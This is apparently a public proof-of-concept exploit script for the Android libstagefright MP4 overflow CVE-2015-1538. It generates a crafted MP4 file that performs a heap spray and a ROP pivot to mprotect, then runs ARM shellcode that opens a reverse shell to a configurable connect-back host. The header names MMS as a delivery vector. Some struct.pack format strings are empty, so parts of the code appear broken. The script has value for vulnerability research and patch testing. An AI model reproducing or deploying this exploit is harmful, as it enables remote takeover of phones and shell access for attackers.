#!/usr/bin/env python |
| # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs |
| # Shout outs to our friends at Optiv (formerly Accuvant Labs) |
| # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015 |
| # www.zimperium.com |
| # |
| # Exploit for RCE Vulnerability CVE-2015-1538 #1 |
| # Integer Overflow in the libstagefright MP4 'stsc' atom handling |
| # |
| # Don't forget, the output of "create_mp4" can be delivered many ways! |
| # MMS is the most dangerous attack vector, but not the only one... |
| # |
| # DISCLAIMER: This exploit is for testing and educational purposes only. Any |
| # other usage for this code is not allowed. Use at your own risk. |
| # |
| # "With great power comes great responsibility." - Uncle Ben |
| # |
| |
| import struct |
| import socket |
| |
| |
| # |
| # Creates a single MP4 atom - LEN, TAG, DATA |
| # |
| def make_chunk(tag, data): |
| if len(tag) != 4: |
| raise 'Yo! They call it "FourCC" for a reason.' |
| ret = struct.pack('>L', len(data) + 8) |
| ret += tag |
| ret += data |
| return ret |
| |
| |
| # |
| # Make an 'stco' atom - Sample Table Chunk Offets |
| # |
| def make_stco(extra=''): |
| ret = struct.pack('>L', 0) # version |
| ret += struct.pack('>L', 0) # mNumChunkOffsets |
| return make_chunk('stco', ret+extra) |
| |
| # |
| # Make an 'stsz' atom - Sample Table Size |
| # |
| def make_stsz(extra=''): |
| ret = struct.pack('>L', 0) # version |
| ret += struct.pack('>L', 0) # mDefaultSampleSize |
| ret += struct.pack('>L', 0) # mNumSampleSizes |
| return make_chunk('stsz', ret+extra) |
| |
| # |
| # Make an 'stts' atom - Sample Table Time-to-Sample |
| # |
| def make_stts(): |
| ret = struct.pack('>L', 0) # version |
| ret += struct.pack('>L', 0) # mTimeToSampleCount |
| return make_chunk('stts', ret) |
| |
| |
| # |
| # This creates a single Sample Table Sample-to-Chunk entry |
| # |
| def make_stsc_entry(start, per, desc): |
| ret = '' |
| ret += struct.pack('>L', start + 1) |
| ret += struct.pack('>L', per) |
| ret += struct.pack('>L', desc) |
| return ret |
| |
| # |
| # Make an 'stsc' chunk - Sample Table Sample-to-Chunk |
| # |
| # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and |
| # cause a heap overflow. |
| # |
| def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False): |
| ret = struct.pack('>L', 0) # version/flags |
| |
| # this is the clean version... |
| if not do_overflow: |
| ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets |
| ret += 'Z' * (12 * num_alloc) |
| return make_chunk('stsc', ret) |
| |
| # now the explicit version. (trigger the bug) |
| ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets |
| |
| # fill in the entries that will overflow the buffer |
| for x in range(0, num_write): |
| ret += make_stsc_entry(sp_addr, sp_addr, sp_addr) |
| |
| ret = make_chunk('stsc', ret) |
| |
| # patch the data_size |
| ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:] |
| |
| return ret |
| |
| # |
| # Build the ROP chain |
| # |
| # ROP pivot by Georg Wicherski! Thanks! |
| # |
| """ |
| (gdb) x/10i __dl_restore_core_regs |
| 0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34 |
| 0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5} |
| 0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5} |
| 0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11} |
| 0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc} |
| """ |
| |
| """ |
| b0001144 <__dl_mprotect>: |
| b0001144: e92d0090 push {r4, r7} |
| b0001148: e3a0707d mov r7, #125 ; 0x7d |
| b000114c: ef000000 svc 0x00000000 |
| b0001150: e8bd0090 pop {r4, r7} |
| b0001154: e1b00000 movs r0, r0 |
| b0001158: 512fff1e bxpl lr |
| b000115c: ea0015cc b b0006894 <__dl_raise+0x10> |
| """ |
| |
| def build_rop(off, sp_addr, newpc_val, cb_host, cb_port): |
| rop = '' |
| rop += struct.pack('', sp_addr + off + 0x10) # new sp |
| rop += struct.pack('', 0xb0002a98) # new lr - pop {pc} |
| rop += struct.pack('', 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc} |
| |
| rop += struct.pack('', sp_addr & 0xfffff000) # new r0 - base address (page aligned) |
| rop += struct.pack('', 0x1000) # new r1 - length |
| rop += struct.pack('', 7) # new r2 - protection |
| rop += struct.pack('', 0xd000d003) # new r3 - scratch |
| rop += struct.pack('', 0xd000d004) # new r4 - scratch |
| rop += struct.pack('', 0xb0001144) # new pc - _dl_mprotect |
| |
| native_start = sp_addr + 0x80 |
| rop += struct.pack('', native_start) # address of native payload |
| #rop += struct.pack(' |
| # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit) |
| buf = '' |
| # fork |
| buf += '\x02\x70\xa0\xe3' |
| buf += '\x00\x00\x00\xef' |
| # continue if not parent... |
| buf += '\x00\x00\x50\xe3' |
| buf += '\x02\x00\x00\x0a' |
| # exit parent |
| buf += '\x00\x00\xa0\xe3' |
| buf += '\x01\x70\xa0\xe3' |
| buf += '\x00\x00\x00\xef' |
| # setsid in child |
| buf += '\x42\x70\xa0\xe3' |
| buf += '\x00\x00\x00\xef' |
| # socket/connect/dup2/dup2/dup2 |
| buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c' |
| buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60' |
| buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0' |
| buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1' |
| buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06' |
| buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00' |
| buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0' |
| buf += '\xe3\x00\x00\x00\xef' |
| # execve(shell, argv, env) |
| buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0' |
| buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d' |
| buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00' |
| buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00' |
| buf += '\xef\x02\x00' |
| # Add the connect back host/port |
| buf += struct.pack('!H', cb_port) |
| cb_host = socket.inet_aton(cb_host) |
| buf += struct.pack('=4s', cb_host) |
| # shell - |
| buf += '/system/bin/sh\x00\x00' |
| # argv - |
| buf += 'sh\x00\x00' |
| # env - |
| buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00' |
| |
| # Add some identifiable stuff, just in case something goes awry... |
| rop_start_off = 0x34 |
| x = rop_start_off + len(rop) |
| while len(rop) < 0x80 - rop_start_off: |
| rop += struct.pack('', 0xf0f00000+x) |
| x += 4 |
| |
| # Add the native payload... |
| rop += buf |
| |
| return rop |
| |
| # |
| # Build an mp4 that exploits CVE-2015-1538 #1 |
| # |
| # We mimic meow.3gp here... |
| # |
| def create_mp4(sp_addr, newpc_val, cb_host, cb_port): |
| chunks = [] |
| |
| # Build the MP4 header... |
| ftyp = 'mp42' |
| ftyp += struct.pack('>L', 0) |
| ftyp += 'mp42' |
| ftyp += 'isom' |
| chunks.append(make_chunk('ftyp', ftyp)) |
| |
| # Note, this causes a few allocations... |
| moov_data = '' |
| moov_data += make_chunk('mvhd', |
| struct.pack('>LL', 0, 0x41414141) + |
| ('B' * 0x5c) ) |
| |
| # Add a minimal, verified trak to satisfy mLastTrack being set |
| moov_data += make_chunk('trak', |
| make_chunk('stbl', |
| make_stsc(0x28, 0x28) + |
| make_stco() + |
| make_stsz() + |
| make_stts() )) |
| |
| # Spray the heap using a large tx3g chunk (can contain binary data!) |
| """ |
| 0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs |
| 0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0 |
| 0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1 |
| 0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4 |
| 0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement |
| 0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1 |
| 0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42> |
| 0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase |
| 0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr |
| 0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address |
| 0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6 |
| 0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it! |
| """ |
| page = '' |
| off = 0 # the offset to the next object |
| off += 8 |
| page += struct.pack('', sp_addr + 8 + 16 + 8 + 12 - 28) # _vptr.RefBase (for when we smash mDataSource) |
| page += struct.pack('', sp_addr + off) # mRefs |
| off += 16 |
| page += struct.pack('', 1) # mStrong |
| page += struct.pack('', 0xc0dedbad) # mWeak |
| page += struct.pack('', sp_addr + off) # mBase |
| page += struct.pack('', 16) # mFlags (dont set OBJECT_LIFETIME_MASK) |
| off += 8 |
| page += struct.pack('', sp_addr + off) # the mBase _vptr.RefBase |
| page += struct.pack('', 0xf00dbabe) # mBase.mRefs (unused) |
| off += 16 |
| page += struct.pack('', 0xc0de0000 + 0x00) # vtable entry 0 |
| page += struct.pack('', 0xc0de0000 + 0x04) # vtable entry 4 |
| page += struct.pack('', 0xc0de0000 + 0x08) # vtable entry 8 |
| page += struct.pack('', newpc_val) # vtable entry 12 |
| rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port) |
| x = len(page) |
| while len(page) < 4096: |
| page += struct.pack('', 0xf0f00000+x) |
| x += 4 |
| |
| off = 0x34 |
| page = page[:off] + rop + page[off+len(rop):] |
| spray = page * (((2*1024*1024) / len(page)) - 20) |
| moov_data += make_chunk('tx3g', spray) |
| block = 'A' * 0x1c |
| bigger = 'B' * 0x40 |
| udta = make_chunk('udta', |
| make_chunk('meta', |
| struct.pack('>L', 0) + |
| make_chunk('ilst', |
| make_chunk('cpil', make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) + |
| make_chunk('trkn', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) + |
| make_chunk('disk', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) + |
| make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 + |
| make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + |
| make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + |
| make_chunk('aART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + |
| make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + |
| make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + |
| make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + |
| make_chunk('gnre', make_chunk('data', struct.pack('>LL', 1, 0) + block)) + |
| make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 + |
| make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) + |
| make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) + |
| make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger))) |
| ) |
| ) |
| moov_data += udta |
| |
| # Make the nasty trak |
| tkhd1 = ''.join([ |
| '\x00', # version |
| 'D' * 3, # padding |
| 'E' * (5*4), # {c,m}time, id, ??, duration |
| 'F' * 0x10, # ?? |
| struct.pack('>LLLLLL', |
| 0x10000, # a00 |
| 0, # a01 |
| 0, # dx |
| 0, # a10 |
| 0x10000, # a11 |
| 0), # dy |
| 'G' * 0x14 |
| ]) |
| |
| trak1 = '' |
| trak1 += make_chunk('tkhd', tkhd1) |
| |
| mdhd1 = ''.join([ |
| '\x00', # version |
| 'D' * 0x17, # padding |
| ]) |
| |
| mdia1 = '' |
| mdia1 += make_chunk('mdhd', mdhd1) |
| mdia1 += make_chunk('hdlr', 'F' * 0x3a) |
| |
| dinf1 = '' |
| dinf1 += make_chunk('dref', 'H' * 0x14) |
| |
| minf1 = '' |
| minf1 += make_chunk('smhd', 'G' * 0x08) |
| minf1 += make_chunk('dinf', dinf1) |
| |
| # Build the nasty sample table to trigger the vulnerability here. |
| stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER |
| |
| # Add the stbl to the minf chunk |
| minf1 += make_chunk('stbl', stbl1) |
| |
| # Add the minf to the mdia chunk |
| mdia1 += make_chunk('minf', minf1) |
| |
| # Add the mdia to the track |
| trak1 += make_chunk('mdia', mdia1) |
| |
| # Add the nasty track to the moov data |
| moov_data += make_chunk('trak', trak1) |
| |
| # Finalize the moov chunk |
| moov = make_chunk('moov', moov_data) |
| chunks.append(moov) |
| |
| # Combine outer chunks together and voila. |
| data = ''.join(chunks) |
| |
| return data |
| |
| if __name__ == '__main__': |
| import sys |
| import mp4 |
| import argparse |
| |
| def write_file(path, content): |
| with open(path, 'wb') as f: |
| f.write(content) |
| |
| def addr(sval): |
| if sval.startswith('0x'): |
| return int(sval, 16) |
| return int(sval) |
| |
| # The address of a fake StrongPointer object (sprayed) |
| sp_addr = 0x41d00010 # takju @ imm76i - 2MB (via hangouts) |
| |
| # The address to of our ROP pivot |
| newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs |
| |
| # Allow the user to override parameters |
| parser = argparse.ArgumentParser() |
| parser.add_argument('-c', '--connectback-host', dest='cbhost', default='31.3.3.7') |
| parser.add_argument('-p', '--connectback-port', dest='cbport', type=int, default=12345) |
| parser.add_argument('-s', '--spray-address', dest='spray_addr', type=addr, default=None) |
| parser.add_argument('-r', '--rop-pivot', dest='rop_pivot', type=addr, default=None) |
| parser.add_argument('-o', '--output-file', dest='output_file', default='cve-2015-1538-1.mp4') |
| args = parser.parse_args() |
| |
| if len(sys.argv) == 1: |
| parser.print_help() |
| sys.exit(-1) |
| |
| if args.spray_addr == None: |
| args.spray_addr = sp_addr |
| if args.rop_pivot == None: |
| args.rop_pivot = newpc_val |
| |
| # Build the MP4 file... |
| data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport) |
| print('[*] Saving crafted MP4 to %s ...' % args.output_file) |
| write_file(args.output_file, data) |